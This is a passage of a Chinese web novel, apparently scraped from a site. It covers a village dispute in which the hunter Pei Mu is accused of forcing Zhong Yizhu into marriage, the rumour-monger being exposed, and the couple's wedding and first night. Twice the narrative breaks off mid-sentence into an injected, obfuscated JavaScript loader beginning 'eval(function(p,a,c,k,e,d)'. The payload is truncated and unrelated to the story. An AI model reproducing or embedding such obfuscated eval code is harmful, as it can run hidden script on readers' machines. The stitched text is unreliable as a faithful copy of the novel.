不知道她家是怎么商量的，总之最后征兵的衙役是硬生生从刘家把刘大山抓走的。 去年，被征走的兵士战胜回乡，王豆婆从听到消息起天天在村口等，却只等来了刘大山的死讯。 整个柳山村只有裴穆一个人活着从战场上回来。 王豆婆听算命先生说裴穆命硬，不知怎么想的，竟把刘大山的死怪到了裴穆头上。 旁人都怵裴穆，她却像是不知道怕，一会儿怪裴穆冷血不知道护着同村的长辈，一会儿怪裴穆命硬克死了她的儿子。 去年她便狠狠闹了两回，说裴穆是灾星，要把他赶出村子，都被柳有宗以裴穆没做大奸大恶之事为由压下去了。 王豆婆苦苦等了半年多，今日总算是被她抓住了把柄，她忙不迭去找村长，势要把裴穆一举赶出村子才罢休。 周围渐渐都没了人说话，王豆婆咒骂的声音便显得尤为清晰，王平安夫夫语气愤懑地帮裴穆说话，王豆婆却恍若未闻，只是用那双浑浊的眼睛死死地盯着裴穆。 她脸上的神情是不正常的癫狂，骂到最后，她嘴里只絮絮地重复着一句话：“死的怎么不是你，怎么不是你……” 裴穆原本一直没什么表情，此时却突然抬了抬眼。 他弯了弯嘴角，染着戾气的面容像索命的恶鬼。 “我偏不死。” “不仅你儿子比我早死，你也会比我早死。” “啊——” 裴穆这两句话一出，人群里一片哗然，王豆婆也被刺激得不轻。 之前两次王豆婆找事裴穆都是冷冷淡淡的，不说话也不辩解，因此他这次突然说出这样的话，王豆婆先是愣了一下，紧接着便疯了似地冲上前要去撕扯裴穆。 裴穆侧身躲开，王豆婆也被周绍芬和几个婶子合力拉住了。 王豆婆声嘶力竭地咒骂着，喊得嗓子都哑了，柳有宗皱着眉喝了一声。 “行了！你们若是要闹我便走了，等你们闹出个结果再来叫我把。” 王豆婆到底还记得自己的目的，闻言便慢慢停止了挣扎，只是用怨毒的目光死死盯着裴穆。 柳有宗这才开口：“有事说事，王豆婆你指责裴穆欺男霸女有什么证据？” 王豆婆喘着粗气，半晌才嘶声道：“这村里的人都是证据！谁家有姑娘哥儿愿意嫁给他？钟家又不是没得选，疯了才会选他！嫌命长吗？” 王平安夫夫闻言瞬间不乐意了，虽然他们对今天提亲的顺利程度始料未及，却还是第一时间开口帮裴穆说话。 他们亲眼所见，钟家没有什么不愿意的，王豆婆倒好，只凭猜测就泼来一大盆脏水，分明是恨毒了裴穆。 只是还没等他们说完，王豆婆便对柳有宗道：“村长，村里谁不知道他们和姓裴的关系好，他们不帮着撒谎才怪。” 柳有宗并不应她，而是看向了这门亲事的另一方：“孙娘子怎么说？” 孙芸娘原本是送客出来的，怎么没想到会牵扯出这一幕，她不知前情，可一码归一码，亲事已定，她自然是实话实说：“我们没有不情愿，裴猎户也没逼迫我家。” 柳有宗点了点头，看向王豆婆：“结亲的双方都认可，足以说明裴穆没有欺男霸女，这件事就到这里吧。” 王豆婆没想到孙芸娘竟然会帮着裴穆扯谎，她哪甘心就此罢休，一屁股坐到地上就嚎了起来。 “不可能！定是裴穆逼迫她的！让她自己承认是愿意的！不可能！” 她头发散乱，脸上也都是涕泪，她脑子里已经装不下别的，只觉得今日这样好的机会，她一定要为大山报仇，把裴穆永远地赶出去。 而柳有宗作为知道当年征兵始末的人，对王豆婆实在同情不起来，也不会容忍她在村里这样胡来。 周绍芬都不需要他说什么，便已经上手去拉王豆婆，王豆婆哭天抢地地对着围观的众人大声道：“大家来评一评！我有没有冤枉他？” 张桂花原本都要跑了，见有人找裴穆麻烦，又悄悄摸了回来混在人群里看热闹。 头上的包痛得厉害，又在这么多人眼前丢了面子，她记恨上了裴穆，还担心裴穆也记恨她，要是能把裴穆赶出村子，她就也不用担惊受怕了，想清楚这层，她连忙声援。 “就是！有得选谁会选他，分明就是他强迫的！” 有人起头，其他人也你一句我一句地说起来，仗着人多又有村长在，众人也都忘了怕。 “说得也是。”“我也觉得像。” 裴穆在村里名声凶恶，又被算命先生批了那样的命，村里其他人以己度人，都觉得钟家不大可能是自愿的，他们倒也不是真的和王豆婆一样想赶裴穆走，只是被带动着七嘴八舌地说自己的看法。 柳有宗拧着眉，村民们正是情绪上头的时候，他若是强硬地按下去反而会起到相反的效果，他看向裴穆，想让他说些什么，眼神却突然越过裴穆落在了身后。 钟意竹从大门走出来，对着乱糟糟的人群平静地说了句话。 “是我要嫁的。” 人群瞬间静了大半，听见的人都不可置信地转过眼看向他，紧接着便是一阵交头接耳的嗡嗡声，所有人都在跟旁边的人确认自己有没有听错，或是问旁边的人钟意竹说了什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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张桂花见状这才彻底慌了，她一把拉住要上前去接钱的人，脸上讪笑着，带着慌张。 “别了别了，怎么好耽搁大家时间，我……我许是会错意了，只是个误会，误会……” 她这样的表现，大伙儿还有什么不明白的。 有信了她的话义愤填膺帮她骂过钟家的婶子尴尬地别开了脸，还有那本想和钟家结亲却信了她的话退却了的人家气得冒火，大声骂道：“贱人，我看该滚出村子的是你才对！” 指责声骂声开始三三两两地响起，那些墙头草也调转话锋对向张桂花，跟着话头开始指摘。 “哎哟，我头疼——”张桂花见势不对，连忙捂着额头装晕，往站在她旁边的刘娘子身上倒去。 刘娘子却不想挨她，往后一让就让她直接倒在了地上，张桂花神情扭曲了一瞬，却还是坚定地闭着眼睛，就这么一动不动地“晕”了。 最后还是柳有宗开口结束了这场闹剧：“既然事情都已经说清楚了，大家也别在这里杵着了，该干活干活，该下地下地。” 他看了眼瘫在地上满脸麻木的王豆婆，又警告了她一遍，却也知道她大概是不会听进去的。 当初王豆婆自己亲自把刘大山的名字报上名册，到了日子又让孙子出门去躲起来，好让衙役只能抓走刘大山充数。 没了刘大山，她家这几年反而过得比之前好了些，可大概是良心不安吧，也或许是觉得懒汉儿子打完仗就把性子改好了，她又开始盼着自家儿子打完仗回来了。 可结果总是不如她的意的。 刘大山死在了战场上，永远回不来了。 她不愿意接受儿子的死，也不愿意承认她在这当中做了推手，就只能找另一个人来恨。 柳有宗在心底摇了摇头，又把目光转向躺在地上的张桂花身上，如今人晕过去，想训斥两句也没办法，可更多的他也没有权力去做。 他看向钟意竹，钟意竹也正在看着他。 两人目光相对，钟意竹会意地点头，示意自己不会再追究了。 这场戏唱到这里，他的目的已经达到了。 他从一开始没觉得这样的错就真的能把张桂花怎样，这种事情没个界定，他和娘亲也没有实际的损失，自然难有处罚。 他能借此机会澄清谣言已经足够了，并没有打算为难村长，要求他再做什么。 人群已经开始散去，柳有宗本想叫人把张桂花弄回家去，钟意竹先一步拿了铜板，叫住之前大骂张桂花的那位婶子和她旁边的人。 他把话说得漂亮：“让张婶子躺在我家门口也不是个事，别的不知道的人还以为我们把她怎么了，请两位婶子帮帮忙把她送回去吧。” 钟意竹给的是一人五个铜板，两人都高高兴兴地接过钱，嘴里夸道：“还是竹哥儿大度又心善，这贱人这么编排你家你还好心送她回去，放心吧，交给我们了。” 两人都是干农活的力气大，上前一人一边架起张桂花便拖着往村里走，只是不知怎么的，两人都专门往地上有石头的地方走，好在虽是磕磕碰碰，两人手都稳当，死死地拉着张桂花不松手。 热闹散场，所有人都走了干净，钟家门口一下便开阔起来。 冯媒人今天也算是开了眼，看了好一出热闹，只是他下午还有亲事要说，急着回镇上，没有时间再叙说，跟几人告了别便先一步离开，如此一来，门口便只剩下孙芸娘母子俩和王平安夫夫以及裴穆。 钟意竹出来之前便在屋里把外面的情况听了清楚，他知道裴穆是应了他的请求来帮他的，他不能让裴穆因为他受人指摘。 这种脏水泼到头上就再难洗干净，就算村长公正，不会为难裴穆，可私下里村里人传来传去，谁知道会传成什么难听的样子。 要打破谣言，最好的方法便是当着众人的面当面对质，没有谁的话会比他这个当事人更有用了。 钟意竹心一横便直接出来说了那番话，又岔开话题借机逼张桂花承认了谎话。 刚才人多时，他满心都是要澄清的急切和不能说错话的紧张，如今只剩下他们几人，想到之前说的那两句堪称大胆的话，钟意竹脸皮瞬间烧了起来。 他不敢看裴穆，只对着王平安夫夫点了点头，便低声对孙芸娘道： “我先回屋了娘。” “慢点别摔了。”孙芸娘看着他匆匆跑走的背影，提醒了一句，却成功让钟意竹跑得更快了。 孙芸娘哭笑不得，转过头时正好对上裴穆刚刚收回的目光。 她心情有些复杂，最后只是郑重地道了句。 “裴猎户，我家竹哥儿就交给你了。” 在她的注视下，裴穆点了点头。 没有什么赌咒发誓，他只是平静地应了一句。 “嗯，我会护着他。” 15.第 15 章 孙芸娘在定好亲事的第二天就去了镇上采买。 竹哥儿的婚期定得近，要赶紧买红布回来做喜服，她也要给竹哥儿准备新被，缝制新衣，虽然现在比不上从前，她也尽可能想给自家小哥儿准备最好的。 因着赖老二便住在镇上，虽说裴穆已经解决了这桩麻烦，她仍是不放心小哥儿跟着去镇上，便让钟意竹留在家里，她自己去采买。 钟家屋子里，钟意竹把一个桃粉色的香包放在柳明桃的手心。 桃哥儿“哇”一声，惊喜地捧起来凑近闻。 “好香！我刚才靠近你就闻到这股香味了，还没来得及问你呢！这是给我的吗？” 桃哥儿眼神发亮的看着钟意竹，钟意竹点了点头：“先前就说要送给你和周婶，但是遇到事耽搁了这两天才做出来，让你们久等了。” 他被赖老二突袭的那晚枕边放的便是没做完的香包，那晚之后，香包被扯坏，他也多日没再碰过针线。 昨日见到周婶，他才猛地想起自己没能完成的这份礼物，连忙重新找了布头另做。 桃哥儿不知内情，满脸都是收到礼物的开心。 “这有什么久等不久等的？这么特别的香味我还是第一次闻到呢！我太喜欢了，谢谢你竹哥儿！” “不用客气。”钟意竹笑了笑，把另一个给周婶做的香包也拿出来给他，他左闻闻右闻闻，一脸陶醉的模样惹得钟意竹忍不住抿着嘴笑。 柳明桃把香包收好，忍了又忍还是没能忍住，小声问道：“竹哥儿，你当真要嫁给裴猎户吗？” 提起裴穆，钟意竹便想到昨天的事，他仍是有些难为情的，点了点头也低声应：“是的。” 桃哥儿有些苦恼地皱着眉：“可他那么凶，要是打你怎么办？” 大概是因为柳明桃曾经亲眼目睹过裴穆发狠打断了裴金的腿，他一个小哥儿，头一次见那么凶狠的场面，因此印象极深，后面即使和他交好的陈小容跟他说过裴穆不会乱打人，他也害怕裴穆得紧。 他想不通竹哥儿怎么会选这样凶的人做夫婿，光是想想他就吓得腿软了。 钟意竹知道桃哥儿是担心他，他想了想，仔细解释道： “他打我做什么？你不是说他没打过女子小哥儿吗？之前他被裴木匠和田氏算计，也只打了裴金，没为难裴水对吧？” 桃哥儿点了点头，又摇头：“还是打过的，张桂花就被他打了个大包，不过打得好嘿嘿。” 昨天张桂花先是被裴穆砸了个包，后面又装晕，被送回去的时候这里磕那里碰，在人前她还能忍，等进了巷子她便“醒”过来，把搀扶她的两人骂了一通。 那两个婶子也不是吃素的，当即骂了回去，最后两方吵急眼了直接打了起来，张桂花被两个人按着打，据说整张脸青青红红，精彩得很。 柳明桃听人说起的时候都觉得痛快极了，恨不得自己就在现场看，说不定还能趁乱踹一脚。 他可没忘记当初张桂花是怎么到处造谣抹黑竹哥儿和孙婶子的，好在如今一切都澄清了，张桂花也受到了惩罚，总还算是个好的结果。 柳明桃没在钟家待太久，快要收庄稼了，他家里的活也比之前多了许多。 他跟钟意竹闲说了一会儿，便捧着两个香包蹦蹦跳跳地走了。 村子北边的地势稍高些，钟意竹走到门口送桃哥儿离开，远处变成金黄的稻田落进他的眼底，他突然意识到时光的流逝。 他刚来村子时，地里还是一片青，那时的他连水稻和水草都分不清，也没有心思去分。 从他回村到现在不过月余，他却觉得像是过了许久许久，恍惚之间，竟觉得比前面十几年还要长似的。 钟意竹在门口驻足了一会儿，才转身关门进屋。 · 接下来连着几日都没有下雨，带着热浪的风拂过村庄的地里田间——早稻该收了。 村里人也顾不上再议论裴穆和钟意竹的亲事，家家户户都忙碌起来。 收割，打谷，晒谷，村里人都是从天不亮就起来干，连平时淘皮的娃娃也被分配了送饭送水的活，紧着皮不敢玩闹耽搁。 收成之后便是交税，又是一通忙忙碌碌地清点送粮，日子转眼便到了下旬。 六月廿三这天，村西边的鞭炮噼里啪啦地炸响，把众人从这段时间的劳碌中炸回神，连忙翻了翻黄历，才猛地反应过来今天是个什么日子。 裴家那煞星和钟家小哥儿要结亲了！ 村里人这半个月都在忙着收庄稼，钟意竹和孙芸娘则是忙着裁衣绣被，几乎没怎么出门。 钟意竹的屋子里，两个系着红布的箱子放在床上，一个里面装着两床绣了花的新被，一个里面装着他的所有衣裳和物件。 钟意竹一大早便起来沐浴熏香，此刻他换上喜服，梳好头发，还没来得及上妆，旁边的喜夫郎便已是一叠声的夸赞，直说送了这么多年亲，还没见过这么好看的小哥儿。 这半个月钟家的伙食开得好，孙芸娘不知是怕钟意竹嫁到裴穆那里没肉吃还是怎么的，总之是变着花样地给他做好吃的。 好在钟家是边户，肉香顶多也就传到隔壁赵大娘家，惹来几句不阴不阳的说嘴。 钟意竹好吃好喝地养了半个月，虽还是瘦，没养回到从前的莹润细致，却也比半月前形销骨立的样子好了太多。 一双桃花眼顾盼生辉，头发乌黑，肌肤雪白，一身红色喜服衬得他面色红润，像春日枝头待折的花。 喜夫郎给他绞完面，上过妆，嘴里的夸赞就没停下过，钟意竹看着喜夫郎忙前忙后，一直安安静静地不说话，直到喜夫郎忙活完出去，屋里只剩下他和孙芸娘，钟意竹看向孙芸娘的眼中才泄露出情绪。 孙芸娘摸了摸钟意竹的头发，笑着道：“我们小竹哥儿真好看。” 这是钟意竹还小的时候爹娘常唤他的叫法，钟意竹自己都许久没听过了，他瞬间就鼻子发酸：“娘……” “别哭，待会儿哭成小花猫，去拜别你爹爹的时候他该笑你了。” 钟意竹应了一声，低头却见孙芸娘正把她的陪嫁手镯往他的手腕上套，他当即就要缩回手拒绝，却被孙芸娘按住了。 “好好拿着，这是娘给你傍身的，别傻乎乎地告诉他。娘能为你做的不多，以后嫁到别人家，就都要靠你自己了。” 钟意竹使劲抿了抿嘴，憋了又憋，还是没忍住抱着孙芸娘的腰哭出了声。 “哎哟，多好的日子，可别哭了，来我看看——” 喜夫郎听见小哥儿的哭声，连忙跑进来劝，又说着吉祥话打岔。 不多时，门外便传来了媒人的叫门声，孙芸娘红着眼帮钟意竹盖上喜帕，嘴里说着祝福的话，眼角的泪却怎么都止不住。 钟家在村里没有亲戚，娘俩只特意请了村长一家，几位族老家也都来了人，帮忙贺喜送亲，算不上热闹，却也不冷清。 钟意竹眼前被喜帕遮挡，只能跟着喜夫郎扶他的动作往前，周围的人声有些喧闹，他沉浸在伤心的情绪中，没有心思去分辨那都是来自于谁的声音。 旁边的喜夫郎突然一顿，他也跟着停住脚步，紧接着，他的手里就被塞进了一截红布。 左侧的余光被遮挡，男人的喜服下摆映入眼帘，钟意竹眼底被烫了下，握着红布的手指不自觉收紧。 他跟着男人一起拜别了高堂，坐上了牛车，在陌生的喧嚣热闹中，被送进了一处陌生的房子。 其实是算不上多热闹的，村民们看热闹的多，真正来随礼吃席的没有几个，连裴木匠和田氏这两个做父母的都不来，其余人户更是觉得要有多远躲多远了。 这场喜宴结束得很快，不到黄昏，宾客就散了干净。 没有人起哄着劝酒，自然也不会有人闹洞房，裴穆走进卧房时，先被满眼陌生的红囍字晃了晃眼，才定睛看向坐在床边的身影。 小哥儿坐得端正，腰背挺直，连两只手都规矩地搭在腿上，只有因为用力而泛白的指尖泄露出他的情绪。 太阳已经快要落山，卧房内的光线有些昏暗，裴穆随手点亮桌上的红烛，上前掀开盖头。 裴穆是知道钟意竹长得好看的，即使最狼狈的时候，也不减半分颜色，如今穿上喜服的模样更加夺目，衬得他当初随便做来凑合睡的硬木床似乎都名贵了几分。 钟意竹因为突然出现的光亮闭了闭眼，抬眼时才发现裴穆近在咫尺，又受惊般地垂下眼，睫毛颤个不停。 裴穆弯腰凑近，盯着眼前的人看了半晌，直到钟意竹连呼吸都开始变乱，他才直起身。 “这么怕我？” 钟意竹愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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钟意竹脑海里乱成一片，整个人都绷紧成了一张蓄势待发的弓，他拼尽全力压下那些被此情此景勾起来的梦魇，压住逃离的冲动，却等了很久都没等到身前人的下一步动作。 钟意竹在嗡嗡的耳鸣声中隐约听见说话的声音，他鼓起勇气抬头看过去，怔怔地对上裴穆的眼神。 昏黄的烛火下，裴穆眉眼间的戾气被掩去大半，钟意竹耳边的声浪渐渐散去，他听见裴穆问他。 “你挡在这里做什么，还是说你想睡外面？” 钟意竹回过神，连忙缩回脚爬上床里侧，见裴穆解开腰带脱下外袍，他胸口狂跳，垂下头连手脚都不知道该怎么摆了。 桌上的红烛被吹灭，黑暗中，男人的身影再次靠近，钟意竹浑身僵硬，他蜷紧身体掐住手心，却半天没等到想象之中的触碰。 裴穆拉开被子躺下，没多久呼吸声就变得均匀起来。 床帐中安静得只有起伏的呼吸声，钟意竹有些茫然地放松了攥紧的手心。 喜夫郎今早才教导过他洞房要做的事，末了还嘱咐他，若是开始觉得痛要忍一忍，后面就好了，莫要扰了男人的兴致，免得以后不爱碰他了。 钟意竹听他说得吓人，只觉得这件事可怕，如今裴穆直接睡了，他不知道是为什么，却还是下意识先松了口气。 他在黑暗中摸索着脱掉喜服，钻进了自己这边的被窝里，这是娘亲给他做的新被，软和极了，他悄悄侧过头看了眼裴穆，黑暗中什么也看不见，只能听见他平稳的呼吸。 钟意竹回过头，侧身背对着裴穆闭上了眼睛。 在陌生的地方，钟意竹这一晚睡得自然是不安稳的。 而裴穆也不遑多让，身旁猛然多了个陌生的人，他睡着睡着总是惊醒，认出旁边的人后才又再次睡下，直到后半夜，他才算是折腾累了，陷入了深眠。 他是猎户，不必像村里农户一般早起耕耘，通过充足的休息养足精力对他来说更为重要，因此睡到日上三竿对他来说也不是多么稀罕的事。 这一晚床帐中都弥漫着他并不熟悉的梨花香气，不过极为浅淡，也算是好闻，可到了梦的后半段，鼻端却猛地出现了一股焦糊味。 裴穆迷迷糊糊想着莫不是谁家把锅烧穿了，却又猛地想起他家周围没有人家。 裴穆猛地睁开眼，梦里的焦糊味依然真实存在。 身旁的位置空空荡荡，这股味道的始作俑者是谁连猜都不用猜。 裴穆黑着脸起身，一边系腰带一边往外走去。 想起初见时钟意竹在河边洗衣的惊天手艺，发自内心觉得嫁过来第一天就把房子点了的事他也不是做不出来。 原来这才是他的报应。